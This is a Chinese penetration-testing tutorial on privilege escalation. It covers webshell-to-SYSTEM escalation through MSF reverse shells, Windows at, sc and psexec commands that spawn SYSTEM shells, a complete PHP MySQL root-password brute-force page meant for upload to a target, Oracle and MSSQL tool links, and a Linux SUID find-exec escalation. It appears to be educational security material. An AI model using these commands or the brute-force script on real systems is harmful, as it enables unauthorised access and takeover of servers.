本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
写在前面
权限提升对我们在深度渗透过程中起着重要作用,接下来我将介绍 web 提权、本地提权、数据库提权、linux 提权。
1、system 账户
Windows 系统最高级别的权限是 System 用户权限,有一些操作需要 System 权限才能完成,比如修改注册表核心键值、强制结束恶意应用程序进程等。
2、管理员账户
具有最高的管理和使用权限,能改变系统所有设置,可以安装和删除程序,能访问计算机上所有的文件。除此之外,它还拥有控制其他用户的权限。
3、普通用户账户
某些功能的使用,是受到一定限制的账户,在系统中可以创建多个此类账户,也可以改变其账户类型。该账户可以访问已经安装在计算机上的程序,可以设置自己账户的图片、密码等,但无权更改大多数计算机的设置。
获取网站权限后,我们仅仅只能对网站操作,无法对服务器进行操作,需要对服务器进行提权,获取到更高权限。
案例演示
- 上传后门文件,获取到 webshell 权限
- 在 web 权限提升中,最常用的是溢出漏洞提权,用 cmd 去执行文件进行提权,从下图可以清晰的看到我们在 webshell 看到的权限和服务器上看到的权限是不一样的。
- 利用 systeminfo 进行信息收集,一般关注操作系统版本,打过的补丁编号。
- 获取到补丁编号后,我们要进行补丁筛选,推荐两个优秀项目:wesng , windowsVulnScan。将上面收集到的信息保存到 1.txt 中,利用 wesng 进行补丁筛选
下载地址分别为:
https://github.com/bitsadmin/wesng
https://github.com/chroblert/WindowsVulnScan
- 执行完后会将可能存在的漏洞保存在 vuln.csv 中
- 利用 MSF 或特定 EXP 进行提权(msf 要搭建在外网,才能将会话反弹到本机,内网不能反弹)生成一个 5577.exe 后门,webshell 执行该后门,反弹的端口号为 5577
Msf 安装教程: http://www.ttk7.cn/post-27.html
- 设置监听端口为 5577
- 端口反弹的权限为 web 权限
- 利用 wesng 中收集到的漏洞编号,进行模块利用,并且设置反弹端口,此时的端口号应该与前面的不同,这个端口反弹的权限为提权后的权限,并且监听的回话为 3,与上面的会话对应
- 成功反弹 system 权限
获取本地普通用户的权限后,要将权限提升为更高权限,本地提权的成功概率比 web 提权更高。
案例演示
1. 系统溢出漏洞提权
直接网上下载 BitsArbitraryFileMoveExploit.exe, 运行就可以提升为系统权限
2.AT 命令提权:
at 13:36 /interactive cmd.exe (在 13:36 分生成一个交互式的 System 权限的 cmd)
使用版本:Win2000 & Win2003 & XP
3.SC 命令提权:
sc Create syscmd binPath= “cmd /K start” type= own type= interact #创建一个名叫 syscmd 的新的交互式的 cmd 服务
sc start syscmd #得到了 system 权限的 cmd 环境
适用版本:windows 7、8、03、08
4.PS 命令提权
微软工具包:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec.exe -accepteula -s -i -d cmd.exe
适用版本:Win2003 & Win2008
Mysql 数据库提权
利用 UDF 提权
在利用 UDF 提权时前提是我们需要知道数据库的密码,而在正常情况下 MySQL 数据库不支持外连,此时如果我们用工具爆破不了,可以上传脚本进行爆破,脚本如下:
<html>
<head>
<title>Mysql账号密码爆破工具</title>
<metahttp-equiv="Content-Type"content="text/html; charset=utf-8">
</head>
<body>
<center>
<br><br>
<h1>MysqlDatab aseBlasting(Mysql账号密码在线爆破工具 V1.0)</h1>
<br>
<?php
if(@$_POST['submit']){
$host =@$_POST['host'];
if($host!=""){
$username ="root";//用户名字典
$password = array('','123456','admin','root123','ccf304vn');//密码字典
echo "<hr><br>--------------------爆破状态--------------------<br>";
echo "密码错误次数:";
for($i=0; $i <= count($password); $i++){
if(@mysql_connect($host, $username, $password[$i])){
echo "<br><br><font color='red'>爆破成功--密码-->".@$password[$i]."</font>";
break;
}else{
echo $i."、";
continue;
}
}
echo "<br>--------------------爆破结束--------------------<br><hr>";
}else{
echo "<s cript>a lert('黑客,输入数据库IP地址')</s cript>";
}
}
?>
<br><br><br><br>
<formaction="MysqlDatab aseBlasting.php"method="post">
数据库IP地址:<inputtype="text"/>
<inputtype="submit"value="爆破"/>
</form>
<center>
</body>
</html>
有些提权网上已经写得很完整,所以接下来有的提权过程就没有演示,这是我收集的比较好的文章,请大家参考。https://blog.csdn.net/qq_36119192/article/details/84863268
2.Mssql 数据库提权
请参考:https://www.cnblogs.com/N0r4h/p/12889944.html
3.Oracle 数据库提权
分为以下三种模式:
普通用户模式
前提是拥有一个普通的 Oracle 连接账号,不需要 DBA,并以 Oracle 实例运行的权限执行操作系统命令。
DBA 用户模式
拥有 DBA 账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
注入提升模式
拥有一个 Oracle 注入点,可以通过注入点执行系统命令,此种模式没有实现回显,需要自己验证。
一般 Oracle 数据库利用这个工具进行提权(自带以上三种提权方式)
下载地址: https://github.com/jas502n/oracleShell
推荐两个开源的项目
信息收集脚本
LinEnum-master:https://github.com/rebootuser/LinEnum
漏洞探针脚本,获取可能存在的漏洞
linux-exploit-suggester:https://github.com/mzet-/linux-exploit-suggester
在进行 linux 提权时,推荐使用冰蝎,因为冰蝎里面有很多集成化功能,可以反弹 shell 到 msf 中。
下载地址:https://github.com/rebeyond/Behinder
案例演示
1.SUID 提权
漏洞成因:在对文件进行权限设置时,给了文件 suid 权限,在执行该文件时,会调用特定用户
上传一个脚本到网站,利用冰蝎连接,设置反弹 shell
在 msf 中执行上面的命令,web 权限反弹到 msf 中
上传漏洞探针脚本,并执行,查看是否有 suid 提权的可能性
执行一下命令,成功提升为 root 用户
touch shenghuo
find shenghuo -exec whoami ;
2. 内核漏洞提权
在内核漏洞提权时,前提要是本地用户才能进行提权
请参考:https://www.moonsec.com/archives/379
3. 脏牛提权
请参考:https://www.cnblogs.com/xiaozi/p/13370721.html
4. 定时任务提权
请参考:https://www.yidc.net/archives/4380
5. 环境变量提权
请参考:https://www.freebuf.com/articles/system/173903.html
END
【版权说明】本作品著作权归 Honeypot 所有,授权补天漏洞响应平台独家享有信息网络传播权,任何第三方未经授权,不得转载。
Honeypot
一个神秘且优秀的补天白帽子
END
●干货|渗透学习资料大集合(书籍、工具、技术文档、视频教程)
如文章对你有帮助,请支持点下“赞”“在看”